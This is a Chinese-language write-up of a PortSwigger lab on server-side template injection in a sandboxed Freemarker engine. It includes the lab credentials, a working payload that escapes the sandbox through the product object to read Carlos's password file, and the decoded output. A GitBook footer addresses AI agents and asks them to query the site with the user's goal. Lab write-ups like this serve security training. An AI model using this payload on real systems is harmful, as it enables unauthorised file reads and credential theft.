> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-in-sandboxed-environment.md).

# 沙箱环境中的 SSTI

沙箱环境中的 SSTI 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 沙箱环境中的服务器端模板注入

本实验使用 **Freemarker** 模板引擎，沙箱配置不当，允许发生服务器端模板注入。/ 目标：绕过沙箱读取 `my_password.txt` 文件，位于 Carlos 的个人文件夹中，然后提交其内容。

提供的凭据：/ `content-manager: C0nt3ntM4n4g3r`

#### 1. 检查模板中的代码执行

我们首先测试引擎是否会解释模板中的许多 Java 表达式：

```python
${7*7}
```

该计算被解释执行，这确认了存在带有服务器端代码执行的 SSTI。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b6687d79313d8501cef75adeb2a1e4a24398b33%2Fimage%20(300).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. 绕过沙箱并读取敏感文件

为了脱离沙箱并访问文件系统，我们使用 `product` 对象，它已存在于模板上下文中，然后向上访问底层 Java 类，直接读取 Carlos 的文件：

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

该表达式返回 `my_password.txt` 文件的内容，以十进制值（字节码）形式表示。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f793a6cce12c2351714a6f9c4e875c4320a40b%2Fimage%20(301).png?alt=media" alt=""><figcaption></figcaption></figure>

3/. 将十进制值转换为文本

获得的输出是一系列十进制数字：

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

将这些值转换为 ASCII 后得到以下密码：

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
